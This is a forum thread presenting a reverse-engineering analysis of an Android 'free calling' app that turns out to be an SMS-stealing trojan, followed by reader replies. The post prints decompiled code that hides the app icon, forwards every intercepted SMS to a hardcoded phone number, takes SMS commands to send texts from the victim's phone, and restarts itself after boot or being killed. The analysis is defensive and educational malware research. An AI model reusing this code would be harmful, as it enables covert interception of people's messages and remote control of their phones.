wnagzihxain 发表于 2016-5-20 17:42

对一个免费通话恶意APP的逆向分析

本帖最后由 wnagzihxain 于 2016-5-25 13:38 编辑

在这个美好的日子总要做点什么庆祝一下,那就分析个App吧
报告名称:对一个免费通话恶意APP的逆向分析                                                作者:wnagzihxain                                                       报告更新日期:2016.5.20                                       样本发现日期:不详                                     样本类型:短信拦截                                             样本文件大小/被感染文件变化长度:    样本文件MD5 校验值:E8 9B 15 8E 4B CF 98 8E BD 09 EB 83 F5 37 8E 87                   样本文件SHA1 校验值:61 ED 37 7E 85 D3 86 A8 DF EE 6B 86 4B D8 5B 0B FA A5 AF 81                      壳信息:无                                                   可能受到威胁的系统:安卓                   相关漏洞:无                                                 已知检测名称:无
前天有同学说装了一个通话软件结果一直发送短信,所以下了样本来分析一下
原帖的截图

先上apktoolapktool d -f do.apk -o do
来看一下AndroidManifest.xml,一共申请了6个权限1.    接收系统启动完成的广播2.    唤醒手机3.    接收短信4.    发送短信5.    获取手机状态6.    收到短信发送广播
一个Activity,还有服务什么的先不管

然后将apk文件修改后缀为zip,解压缩后,用dex2jar将classes.dex文件转换为jar文件,接下来用jdgui打开就可以看到里面的代码了

随便翻一下可以看到没加壳没混淆,而且代码写的一塌糊涂,不忍直视……
先不着急分析,上JEB
直接把apk拖进去就会进行反编译,(注释并不是自动生成的,是我自己写的,这玩意虽然强大,但是还没有到能自己写注释的地步)

为什么要开两个呢?
因为jdgui里面对整个逻辑的整理比较好,但是代码稍微不是很好阅读,jeb可以加注释,还可以改变量名,但是代码逻辑稍微乱了点,所以两者同时结合着看比较好懂
来看MainActivity(jdgui)protected void onCreate(Bundle paramBundle)
{
    LogCatBroadcaster.start(this);
    super.onCreate(paramBundle);
    super.requestWindowFeature(1);
    setContentView(2130903040);
    new SmSutils().sendSMS("15833482871", new StringBuffer().append(new StringBuffer().append("爆万爆万爆万,回复com#false关闭com#true开启, 版本").append(Build.VERSION.SDK_INT).toString()).append(" ").toString() + Build.MODEL, (Context)null);
    getPackageManager().setComponentEnabledSetting(getComponentName(), 2, 1);
    try
    {
      paramBundle = Class.forName("com.sms.tract.SmSserver");
      startService(new Intent(this, paramBundle));
      finish();
      return;
    }
    catch (ClassNotFoundException paramBundle)
    {
      throw new NoClassDefFoundError(paramBundle.getMessage());
    }
}先开启了一个线程,不知道干什么的,跟过去看看LogCatBroadcaster.start(this);LogCatBroadcaster(jdgui)可以看到调用的是Runnable接口import android.content.Context;
import android.content.Intent;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.Reader;

public class LogCatBroadcaster
implements Runnable
{
private static boolean started = false;
private Context context;

private LogCatBroadcaster(Context paramContext)
{
    this.context = paramContext;
}

/* Error */
public static void start(Context paramContext)
{//start方法是字节码,考验反编译功力的时候到了,分析已经加在代码里,这段字节码核心就是开启线程
    // Byte code:
    //   0: ldc 2
    //   2: monitorenter
    //   3: getstatic 14      LogCatBroadcaster:started      Z
    //   6: istore_2
    //   7: iload_2
    //   8: ifeq +7 -> 15
    //   11: ldc 2
    //   13: monitorexit
    //   14: return
    //   15: iconst_1
    //   16: putstatic 14      LogCatBroadcaster:started      Z
    //   19: getstatic 30      android/os/Build$VERSION:SDK_INT      I
    //   22: bipush 16
    //   24: if_icmpge +6 -> 30//判断系统版本号是不是大于16,小于16就return
    //   27: goto -16 -> 11
    //   30: aload_0
    //   31: invokevirtual 36      android/content/Context:getApplicationInfo      ()Landroid/content/pm/ApplicationInfo;
    //   34: getfield 41      android/content/pm/ApplicationInfo:flags      I
    //   37: istore_1
    //   38: iload_1
    //   39: iconst_2
    //   40: iand
    //   41: ifeq +12 -> 53
    //   44: iconst_1
    //   45: istore_1
    //   46: iload_1
    //   47: ifne +11 -> 58
    //   50: goto -39 -> 11
    //   53: iconst_0
    //   54: istore_1
    //   55: goto -9 -> 46
    //   58: aload_0
    //   59: invokevirtual 45      android/content/Context:getPackageManager      ()Landroid/content/pm/PackageManager;
    //   62: ldc 47
    //   64: sipush 128
    //   67: invokevirtual 53      android/content/pm/PackageManager:getPackageInfo      (Ljava/lang/String;I)Landroid/content/pm/PackageInfo;
    //   70: pop
    //   71: new 55      java/lang/Thread
    //   74: astore 4
    //   76: new 2      LogCatBroadcaster
    //   79: astore_3
    //   80: aload_3
    //   81: aload_0
    //   82: invokespecial 57      LogCatBroadcaster:<init>      (Landroid/content/Context;)V
    //   85: aload 4
    //   87: aload_3
    //   88: invokespecial 60      java/lang/Thread:<init>      (Ljava/lang/Runnable;)V
    //   91: aload 4
    //   93: invokevirtual 62      java/lang/Thread:start      ()V
    //   96: goto -85 -> 11
    //   99: astore_0
    //   100: goto -89 -> 11
    //   103: astore_0
    //   104: ldc 2
    //   106: monitorexit
    //   107: aload_0
    //   108: athrow
    // Local variable table:
    //   start      length      slot      name      signature
    //   0      109      0      paramContext      Context
    //   37      18      1      i      int
    //   6      2      2      bool      boolean
    //   79      9      3      localLogCatBroadcaster      LogCatBroadcaster
    //   74      18      4      localThread      Thread
    // Exception table:
    //   from      to      target      type
    //   58      71      99      android/content/pm/PackageManager$NameNotFoundException
    //   3      7      103      finally
    //   15      27      103      finally
    //   30      38      103      finally
    //   58      71      103      finally
    //   71      96      103      finally
}

public void run()
{
    try
    {
      Object localObject2 = Runtime.getRuntime().exec("logcat -v threadtime");//调用系统命令获得logcat日志
      BufferedReader localBufferedReader = new java/io/BufferedReader;
      Object localObject1 = new java/io/InputStreamReader;//取得输入流
      ((InputStreamReader)localObject1).<init>(((Process)localObject2).getInputStream());
      localBufferedReader.<init>((Reader)localObject1, 20);
      for (;;)
      {
      localObject2 = localBufferedReader.readLine();
      if (localObject2 == null) {
          break;
      }
      localObject1 = new android/content/Intent;
      ((Intent)localObject1).<init>();
      ((Intent)localObject1).setPackage("com.aide.ui");//目标包名
      ((Intent)localObject1).setAction("com.aide.runtime.VIEW_LOGCAT_ENTRY");//传一个action过去
      ((Intent)localObject1).putExtra("lines", new String[] { localObject2 });//额外数据,这里是本线程的信息
      this.context.sendBroadcast((Intent)localObject1);//明显的隐式启动
      }
      return;
    }
    catch (IOException localIOException)
    {
      for (;;) {}
    }
}
}
这段的意思其实是说这是用手机开发的APP,谢谢点评里的同学指出来,感谢
看一下在JEB里的代码,不多解释,很好懂的import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageManager$NameNotFoundException;
import android.os.Build$VERSION;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;

public class LogCatBroadcaster implements Runnable {
    private Context context;
    private static boolean started;

    static {
      LogCatBroadcaster.started = false;
    }

    private LogCatBroadcaster(Context arg5) {
      super();
      this.context = arg5;
    }

    public void run() {
      LogCatBroadcaster This = this;
      try {
            BufferedReader bufferreader = new BufferedReader(new InputStreamReader(Runtime.getRuntime()
                  .exec("logcat -v threadtime").getInputStream()), 20);
            while(true) {
                String bufferreadstring = bufferreader.readLine();
                String stringread = bufferreadstring;
                if(bufferreadstring == null) {
                  return;
                }

                Intent intent = new Intent();
                intent.setPackage("com.aide.ui");
                intent.setAction("com.aide.runtime.VIEW_LOGCAT_ENTRY");
                intent.putExtra("lines", new String[]{stringread});
                This.context.sendBroadcast(intent);
            }
      }
      catch(IOException v5) {
      }
    }

    public static void start(Context arg11) {
      Context context = arg11;
      Class v9 = LogCatBroadcaster.class;
      __monitor_enter(v9);
      try {
            if(LogCatBroadcaster.started) {
                goto EXIT;
            }

            LogCatBroadcaster.started = true;
            if(Build$VERSION.SDK_INT < 16) {
                goto EXIT;
            }

            if(0 != (context.getApplicationInfo().flags & 2)) {
            }
            else {
                goto label_25;
            }
      }
      catch(Throwable v0_1) {
            goto label_58;
      }

      int flag = 1;
      goto label_21;
    label_25:
      flag = 0;
    label_21:
      if(flag != 0) {
            Context v4_1 = context;
            try {
                v4_1.getPackageManager().getPackageInfo("com.aide.ui", 128);
                goto label_35;
            }
            catch(Throwable v0_1) {
            }
            catch(PackageManager$NameNotFoundException v4_2) {
                goto EXIT;
                try {
                label_35:
                  new Thread(new LogCatBroadcaster(context)).start();
                }
                catch(Throwable v0_1) {
                label_58:
                  __monitor_exit(v9);
                  throw v0_1;
                }
            }
      }

    EXIT:
      __monitor_exit(v9);
    }
}

补充一点东西,刚才那段字节码应该是这样的,参考自: 刚某帖提到的锁机软件分析public static synchronized void start(Context context) {
    Context context2 = context;
    synchronized (LogCatBroadcaster.class) {
      if (!started) {
            started = true;
            if (VERSION.SDK_INT >= 16) {
                if ((0 != (context2.getApplicationInfo().flags & 2) ? 1 : null) != null) {
                  try {
                        PackageInfo packageInfo = context2.getPackageManager().getPackageInfo("com.aide.ui", 128);
                        Thread thread = r10;
                        LogCatBroadcaster logCatBroadcaster = r10;
                        LogCatBroadcaster logCatBroadcaster2 = new LogCatBroadcaster(context2);
                        Thread thread2 = new Thread(logCatBroadcaster);
                        thread.start();
                  } catch (NameNotFoundException e) {
                        NameNotFoundException nameNotFoundException = e;
                  }
                }
            }
      }
    }
}继续分析MainActivity
这句的意思是向15833482871发送"爆万爆万爆万,回复com#false关闭com#true开启, 版本"+受害者手机系统版本号+手机型号,这个结合开头那张图片可以看出来new SmSutils().sendSMS("15833482871", new StringBuffer().append(new StringBuffer().append("爆万爆万爆万,回复com#false关闭com#true开启, 版本").append(Build.VERSION.SDK_INT).toString()).append(" ").toString() + Build.MODEL, (Context)null);隐藏图标getPackageManager().setComponentEnabledSetting(getComponentName(), 2, 1);接下来是重头戏了,开启了一个SmSserver服务,同时调用finish()方法把当前activity移除栈,这个并不调用onDestroy(),也不释放资源,也就是说应用还在运行try
    {
      paramBundle = Class.forName("com.sms.tract.SmSserver");
      startService(new Intent(this, paramBundle));
      finish();
      return;
    }
    catch (ClassNotFoundException paramBundle)
    {
      throw new NoClassDefFoundError(paramBundle.getMessage());
    }左侧进入SmSserver看一下具体代码,可以看到先注册了两个Receiver,同时给作者发送短信通知拦截服务已启动

在JEB里加上注释看一下@Override public void onCreate() {
      super.onCreate();
      Notification notification = new Notification(2130837505, "", System.currentTimeMillis());
      Intent intent = new Intent();
      notification.contentView = new RemoteViews(this.getPackageName(), 2130903040);
      notification.contentIntent = PendingIntent.getActivity(this, 0, intent, 0);
      this.startForeground(100, notification);
      IntentFilter intentfilter = new IntentFilter();
      intentfilter.addAction("android.provider.Telephony.SMS_RECEIVED");// 添加action:android.provider.Telephony.GSM_SMS_RECEIVED
      intentfilter.addAction("android.provider.Telephony.SMS_RECEIVED_2");// 添加action:android.provider.Telephony.SMS_RECEIVED_2
      intentfilter.addAction("android.provider.Telephony.GSM_SMS_RECEIVED");// 添加action:android.provider.Telephony.GSM_SMS_RECEIVED
      intentfilter.setPriority(1000);// 设置优先级
      this.localMessageReceiver = new SmSReceiver();
      this.registerReceiver(this.localMessageReceiver, intentfilter, "android.permission.BROADCAST_SMS",   // 注册第一个Receiver,带上了收到短信时进行广播的权限
                null);
      this.localMessageReceiver2 = new SmSReceiver();
      this.registerReceiver(this.localMessageReceiver2, new IntentFilter("com.sms.tract"));// 注册第二个Receiver
      new SmSutils().sendSMS("15833482871", new StringBuffer().append("拦截服务已启动,软件到期时间").append("2028-01-15 00:50:00")// 发送短信告诉作者已经开启拦截
                .toString(), null);
    }同时它还有一个onDestroy()方法,可以用于被kill后自启动@Override public void onDestroy() {
      Class v6;
      SmSserver This = this;
      super.onDestroy();
      This.stopForeground(true);
      This.unregisterReceiver(This.localMessageReceiver);// 注销
      This.unregisterReceiver(This.localMessageReceiver2);// 注销
      Intent intent1 = new Intent();
      Intent intent2 = intent1;
      SmSserver v5 = This;
      try {
            v6 = Class.forName("com.sms.tract.SmSserver");
      }
      catch(ClassNotFoundException v4_1) {
            throw new NoClassDefFoundError(v4_1.getMessage());// 异常处理
      }

      intent2.setClass(((Context)v5), v6);
      This.startService(intent1);// 被kill后自启动,保证永远存活
    }

    @Override public int onStartCommand(Intent arg10, int arg11, int arg12) {
      return super.onStartCommand(arg10, 3, arg12);
    }以上就是软件启动的时候做的事,总结一下就是:隐式启动一个应用,给作者发送第一条短信,然后注册两个Receiver,能在获取手机接收短信时的系统广播,并且SmSserver能够自启动,保证常驻后台
那么接下里就是Receiver的分析了
一共有两个Receiver继承自BroadcastReceiver,一个是SmSReceiver,另一个是BootReceiver
先来分析SmSReceiver
只要刚才注册的Receiver接收到系统接收短信时进行的广播,调用smsutils.isflag()进行日期判断,如果在这个日期前就执行SendSms()(这个不是刚才那个直接发送短信的方法),执行完后会有一个是否执行成功的判断给作者一个反馈package com.sms.tract;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.os.Bundle;
import android.util.Log;

public class SmSReceiver extends BroadcastReceiver {
    private SharedPreferences sp;

    public SmSReceiver() {
      super();
      this.sp = null;
    }

    @Override public void onReceive(Context arg12, Intent arg13) {
      SmSutils smsutils;// 如果收到的广播内容是if里面任意一个就执行
      SmSReceiver This = this;
      Context context = arg12;
      Intent intent = arg13;
      Log.i("action", intent.getAction());
      This.sp = context.getSharedPreferences("config", 0);
      if((intent.getAction().equals("android.provider.Telephony.SMS_RECEIVED")) || (intent.getAction()
                .equals("android.provider.Telephony.SMS_RECEIVED_2")) || (intent.getAction().equals(
                "android.provider.Telephony.GSM_SMS_RECEIVED"))) {
            smsutils = new SmSutils();// 如果收到的广播内容是if里面任意一个就执行
            Bundle bundle = intent.getExtras();
            if(bundle != null && (smsutils.isflag())) {
                smsutils.SendSms(bundle, context, This);// 发送短信
            }
      }

      if(intent.getAction().equals("com.sms.tract")) {
            smsutils = new SmSutils();
            if(This.getResultCode() != -1) {
                smsutils.sendSMS("15833482871", new StringBuffer().append("指令执行失败状态码 ").append(This.// 指令执行失败给作者发送失败的状态码
                        getResultCode()).toString(), null);
            }
            else {
                smsutils.sendSMS("15833482871", "指令执行成功", null);// 发短信给作者指令执行成功
            }
      }
    }
}
来看一下smsutils.isflag(),不清楚为什么要写这个,难道是作者写了这个软件卖给别人???然后还设置了别人使用的期限???Excuse me???public boolean isflag() {
      try {
            if(!SmSutils.sdf.parse("2028-01-15 00:50:00").after(new Date())) {
                return false;
            }
      }
      catch(ParseException v3) {
            v3.printStackTrace();
            return false;
      }

      boolean v0 = true;
      return v0;
    }然后就是刚才的SendSms(),JEB里看一下public void SendSms(Bundle arg22, Context arg23, SmSReceiver arg24) {
      String[] messagetextsplit;// 根据#进行分割
      String sourceaddress;// 发送该短信的手机号
      String messagetext;// 整条短信内容
      SmSutils SmSutilsthis = this;
      Bundle bundle = arg22;
      Context context = arg23;
      SmSReceiver smsreceiver = arg24;
      SmSutils This = SmSutilsthis;
      Context v14 = context;
      try {
            This.sp = v14.getSharedPreferences("config", 0);
            Object pdus = bundle.get("pdus");
            SmsMessage[] smsmessage = new SmsMessage;
            int i;
            for(i = 0; i < pdus.length; ++i) {
                smsmessage = SmsMessage.createFromPdu(pdus);
            }

messagetext = "";// 整条短信内容
            sourceaddress = "";// 发送该短信的手机号
            SmsMessage[] smsmessage1 = smsmessage;
            int i;
            for(i = 0; i < smsmessage1.length; ++i) {
                SmsMessage messagetemp = smsmessage1;
                messagetext = new StringBuffer().append(messagetext).append(messagetemp.getMessageBody())
                        .toString();
                if("".equals(sourceaddress)) {
                  sourceaddress = messagetemp.getOriginatingAddress();// 获取发送该短信的手机号
                }
            }

            Log.i("action", new StringBuffer().append(new StringBuffer().append(sourceaddress).append(
                  "->").toString()).append(messagetext).toString());
            if(!sourceaddress.contains("15833482871")) {
                goto label_265;// 如果短信来源不是作者手机号就发送拦截到的短信,相当于过滤掉作者发送的短信
            }

            messagetextsplit = messagetext.split("#");// 根据#进行分割
            if(messagetextsplit.length < 1) {
                goto label_221;// 这种情况相当于出错
            }

            if("com".equals(messagetextsplit)) {
                SmSutilsthis.command(messagetextsplit);// 如果是‘com#’类型的短信就执行command方法,这个方法得结合MainActivity里的第一条短信来分析,简单来说就是作者用来控制的,具体看command方法
                smsreceiver.abortBroadcast();// 截断收到短信的广播
                return;
            }

            if(SmSutils.isMobileNO(messagetextsplit)) {
                SmSutilsthis.sendSMS(messagetextsplit, messagetextsplit, context);// 这个if厉害了
                smsreceiver.abortBroadcast();// 截断收到短信的广播
                return;
            }

SmSutilsthis.sendSMS("15833482871", new StringBuffer().append(new StringBuffer().append(// 前面的if都执行完了其余情况全部当作错误处理并发给作者
                  new StringBuffer().append(new StringBuffer().append(messagetextsplit.length).append(
                  " 指令错误\'").toString()).append(messagetextsplit).toString()).append("\',").toString())
                  .append(messagetextsplit).toString(), null);
            smsreceiver.abortBroadcast();// 截断收到短信的广播
            return;
      }
      catch(Exception v13_1) {
            goto label_202;
      }

    label_221:
      This = SmSutilsthis;
      try {
This.sendSMS("15833482871", new StringBuffer().append(new StringBuffer().append(new StringBuffer()// 向作者发送指令出错的信息,同时带上拦截到的短信信息
                  .append(messagetextsplit.length).append(" 指令错误").toString()).append(messagetext)
                  .toString()).append("正确格式 手机号码#内容").toString(), null);
            smsreceiver.abortBroadcast();// 截断收到短信的广播
            return;
label_265:// 发送短信,格式:短信来源->短信内容
if(SmSutilsthis.sp.getBoolean("islj", true)) {
SmSutilsthis.sendSMS("15833482871", new StringBuffer().append(new StringBuffer().append(// 判断sp里的‘islj’是否为true,相当于判断作者是否还需要获取拦截的短信
sourceaddress).append("->").toString()).append(messagetext).toString(), null);
smsreceiver.abortBroadcast();// 截断收到短信的广播
            }

return;
      }
      catch(Exception v13_1) {
      label_202:
            v13_1.printStackTrace();
            SmSutilsthis.sendSMS("15833482871", new StringBuffer().append("出现异常").append(v13_1.getMessage())// 异常处理
                  .toString(), null);
            return;
      }
    }代码很长,写了注释,下面来分析一遍完整的流程获取接收到的短信,其实就是前期准备工作,把该获取信息的获取This.sp = v14.getSharedPreferences("config", 0);
            Object pdus = bundle.get("pdus");
            SmsMessage[] smsmessage = new SmsMessage;
            int i;
            for(i = 0; i < pdus.length; ++i) {
                smsmessage = SmsMessage.createFromPdu(pdus);
            }

            messagetext = "";// 整条短信内容
            sourceaddress = "";// 发送该短信的手机号
            SmsMessage[] smsmessage1 = smsmessage;
            int i;
            for(i = 0; i < smsmessage1.length; ++i) {
                SmsMessage messagetemp = smsmessage1;
                messagetext = new StringBuffer().append(messagetext).append(messagetemp.getMessageBody())
                        .toString();
                if("".equals(sourceaddress)) {
                  sourceaddress = messagetemp.getOriginatingAddress();// 获取发送该短信的手机号
                }
            }

            Log.i("action", new StringBuffer().append(new StringBuffer().append(sourceaddress).append(
                  "->").toString()).append(messagetext).toString());如果不是作者发的短信就跳到label_265if(!sourceaddress.contains("15833482871")) {
                goto label_265;// 如果短信来源不是作者手机号就发送拦截到的短信,相当于过滤掉作者发送的短信
            }跳到label_265,SmSutilsthis.sp.getBoolean("islj", true)这个需要结合后面的分析,注意command方法label_265:// 发送短信,格式:短信来源->短信内容
            if(SmSutilsthis.sp.getBoolean("islj", true)) {// 判断sp里的‘islj’是否为true,相当于判断作者是否还需要获取拦截的短信
                SmSutilsthis.sendSMS("15833482871", new StringBuffer().append(new StringBuffer().append( 发送拦截到的短信
                        sourceaddress).append("->").toString()).append(messagetext).toString(), null);
                smsreceiver.abortBroadcast();// 截断收到短信的广播
            }

            return;然后的代码段就是接收到作者短信的操作了messagetextsplit = messagetext.split("#");// 根据#进行分割
            if(messagetextsplit.length < 1) {
                goto label_221;// 这种情况相当于出错
            }出错后执行的代码label_221:
      This = SmSutilsthis;
      try {
            This.sendSMS("15833482871", new StringBuffer().append(new StringBuffer().append(new StringBuffer()// 向作者发送指令出错的信息,同时带上拦截到的短信信息
                  .append(messagetextsplit.length).append(" 指令错误").toString()).append(messagetext)
                  .toString()).append("正确格式 手机号码#内容").toString(), null);
            smsreceiver.abortBroadcast();// 截断收到短信的广播
            return; 如果是‘com#’类型的短信就执行command方法,这个方法得结合MainActivity里的第一条短信来分析,简单来说就是作者用来控制的,具体看command方法if("com".equals(messagetextsplit)) {
                SmSutilsthis.command(messagetextsplit);
                smsreceiver.abortBroadcast();// 截断收到短信的广播
                return;
            }command方法,收到来自作者的短信,内容是”com#true就设置sp为true,否则为false“,结合最开始我说注意command方法那里就是说作者不想监控你了就给你发”com#false“,想监控你了就给你发”com#true“,不想监控你但是Receiver还是在后台运行的,只是拦截到的短信作者不接收了而已public void command(String arg8) {
      SmSutils This = this;
      String messagetextsplit1 = arg8;
      Log.i("action", messagetextsplit1);
      if(This.sp != null) {
            SharedPreferences$Editor editor = This.sp.edit();
            if("true".equals(messagetextsplit1)) {
                editor.putBoolean("islj", true);// 短信格式为‘com#true......’就将sp里的‘islj’设为true
            }
            else {
                editor.putBoolean("islj", false);// 如果短信格式为‘com#......’,#后面不是‘true’,则设置sp里的‘islj’为false
            }

            editor.commit();
      }
    }继续看代码,这段代码作用是收到作者的短信,格式是”95533#hello world“这样的,就利用受害者手机给95533发送hello world,作者想干什么我不清楚if(SmSutils.isMobileNO(messagetextsplit)) {
                SmSutilsthis.sendSMS(messagetextsplit, messagetextsplit, context);// 这个if厉害了
                smsreceiver.abortBroadcast();// 截断收到短信的广播
                return;
            }看一下SmSutils.isMobileNO()方法,作用就是判断‘#’前面是不是电话号码public static boolean isMobileNO(String arg6) {
      boolean flag;
      String messagetextsplit0 = arg6;
      try {
            Double.parseDouble(messagetextsplit0);
            flag = true;
      }
      catch(Exception v4_1) {
            v4_1.printStackTrace();
            flag = false;
      }

      return flag;
    }如果所有if都不符合就当出错处理SmSutilsthis.sendSMS("15833482871", new StringBuffer().append(new StringBuffer().append(// 前面的if都执行完了其余情况全部当作错误处理并发给作者
                  new StringBuffer().append(new StringBuffer().append(messagetextsplit.length).append(
                  " 指令错误\'").toString()).append(messagetextsplit).toString()).append("\',").toString())
                  .append(messagetextsplit).toString(), null);
            smsreceiver.abortBroadcast();// 截断收到短信的广播
            return;整个Receiver的功能就是这些,刚才说还有一个BootReceiver,功能简单,实现开机自启动package com.sms.tract;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.util.Log;
import java.util.List;

public class BootReceiver extends BroadcastReceiver {
    public BootReceiver() {
      super();
    }

    public static boolean isServiceRun(Context context, String arg11) {
      String actionSmSserver = arg11;
      boolean False = false;
      List servicelist = context.getSystemService("activity").getRunningServices(40);
      int servicelistnum = servicelist.size();
      int i = 0;
      while(true) {
            if(i < servicelistnum) {
                if(!servicelist.get(i).service.getClassName().equals(actionSmSserver)) {
                  ++i;// 判断"com.sms.tract.SmSserver"是否在后台运行
                  continue;
                }
                else {
                  return true;
                }
            }

            return False;
      }

      return true;
    }

    @Override public void onReceive(Context arg16, Intent arg17) {
      Class v10;
      Context context = arg16;
      boolean v3 = BootReceiver.isServiceRun(context, "com.sms.tract.SmSserver");
      Log.i("phone", new StringBuffer().append("server_").append(v3).toString());// 输出服务是否在后台运行
      if(!v3) {
            Intent intent = null;
            Intent v8 = null;
            Context context1 = context;
            try {
                v10 = Class.forName("com.sms.tract.SmSserver");
            }
            catch(ClassNotFoundException error) {
                throw new NoClassDefFoundError(error.getMessage());// 异常处理
            }

            super(context1, v10);
            intent.addFlags(268435456);
            context.startService(intent);// 实现开机自启动
      }
    }
}

到这里就已经分析完所有代码了,总结软件行为:拦截短信并发送给作者,作者可通过发送短信控制是否获取拦截到的短信,同时还可以控制受害者手机发送短信

最后,那位中招了的同学,你说一直发短信,原因是SmSserver被kill后会自启动,自启动的时候会发送”拦截服务已启动“那条短信给作者,所以变相的告诉你,你被监控了。。。。。。


最后的最后,样本已经发到了病毒样本区,有兴趣的同学一起来玩吧
http://www.52pojie.cn/thread-499667-1-1.html

结尾彩蛋,文中一些安卓的知识:SmSutils.isMobileNO()方法里用于判断是否是电话号码的其实是一个将字符串转换为数字的方法,如果执行的时候没有触发异常间接说明是电话号码:java.lang.Double.parseDouble()方法判断短信来源是否包含作者手机号的Contains(),也就是判断是否是作者发送的短信:String.Contains()方法一种监听短信的方法,也就是作者使用的办法:android的SMS监听用于判断是否过期的isflag():Date 中 before(when)跟after(when)用法作者用于保证SmSserver不被杀死的方法:Android开发之如何监听让服务不被杀死(service+broadcast)用于存储是否给作者发送拦截到的短信:SharedPreferences详解Intent相关:Intent中的四个重要属性——Action、Data、Category、Extras文中启动Class.forname()方法的实现:Class.forName()用法及与new区别 详解长短信的发送:android发送与接收超长短信MainActivity中finish()相关用法:安卓开发-Activity中finish() onDestroy() 和System.exit()的区别在获取系统发出的收到短信广播后获取短信内容相关:Android SmsMessage类详解关于广播:Broadcast详解
这次真的是最后:这篇本来是看到论坛同学中招所以写的,感谢大家这么支持,所以接着写了一篇稍微进阶一点的,代码有混淆的恶意APP对恶意APP“淘宝宝贝分享图”的逆向分析
欢迎交流╭( ・ㅂ・)و ̑̑菜鸟的博客:http://www.wangzhixian.org/主要记录二进制攻防的学习笔记和二进制漏洞的分析

wnagzihxain 发表于 2016-5-20 18:07

氪li 发表于 2016-5-20 18:06
看得我一脸懵逼

是我没写清楚吗?哪里看不懂给我说一下

wnagzihxain 发表于 2016-5-24 10:23

本帖最后由 wnagzihxain 于 2016-5-24 10:26 编辑

幸运草571 发表于 2016-5-24 10:12
楼主能分享下你分析该病毒样本的基本步骤吗?包括要使用哪些软件 ,我是刚入门的小白,昨天跟着你的这篇 ...
用JEB打开apk,等它反汇编完成后就可以了,一般我会先看Manifest,里面会有比较重要的信息,比如MainActivity,receiver,service,权限等等先有一个大概的了解,看看action就可以知道大概这是在干什么,BOOT_COMPLETED有个经常用的功能就是开机自启动,这些我没法都讲清楚,得靠自己多逆向,在调试的时候多谷歌,慢慢积累经验,而且逆向分析的步骤不固定,遇到混淆了的,加壳的,那都要根据情况来决定干什么,即使是相似的,也会因为心情而有不同的调试步骤,而且不一定要读代码,还可以动态调试,但是有一点不会变:”你很清楚的知道下一步要干什么“:loveliness::loveliness::loveliness:其它软件的话:apktool,dex2jar都可以的,我习惯互相辅助着看,万一有一个反编译的逻辑不是很好可以看另一个,一起学习

crossroad 发表于 2016-5-20 18:04

{:301_997:},呵呵哈哈哈

氪li 发表于 2016-5-20 18:06

看得我一脸懵逼

我爱杨洁 发表于 2016-5-20 18:08

上附件。我也跟着你这步骤分析一下。可以不?

氪li 发表于 2016-5-20 18:11

wnagzihxain 发表于 2016-5-20 18:07
是我没写清楚吗?哪里看不懂给我说一下

小白一个.......{:301_1004:}

wnagzihxain 发表于 2016-5-20 18:15

我爱杨洁 发表于 2016-5-20 18:08
上附件。我也跟着你这步骤分析一下。可以不?

已经发到病毒样本区了
http://www.52pojie.cn/thread-499667-1-1.html

wnagzihxain 发表于 2016-5-20 18:21

氪li 发表于 2016-5-20 18:11
小白一个.......

安卓端恶意app分析的话,入门级样本还是很多的,没壳没混淆的样本只要你有一点安卓基础就可以跟着分析,等你分析了一定数量的入门级apk后,就会对常用的比如隐藏图标,开机自启动,被kill后自启动之类的手段比较熟悉,然后就可以玩一玩脱壳的,加混淆的,慢慢玩吧,很好玩的

我爱杨洁 发表于 2016-5-20 18:33

wnagzihxain 发表于 2016-5-20 18:15
已经发到病毒样本区了
http://www.52pojie.cn/thread-499667-1-1.html

密码呢 ?

Hmily 发表于 2016-5-20 18:33

赞,哪位可怜的同学中招了。
页: [1] 2 3 4 5 6 7 8 9 10
查看完整版本: 对一个免费通话恶意APP的逆向分析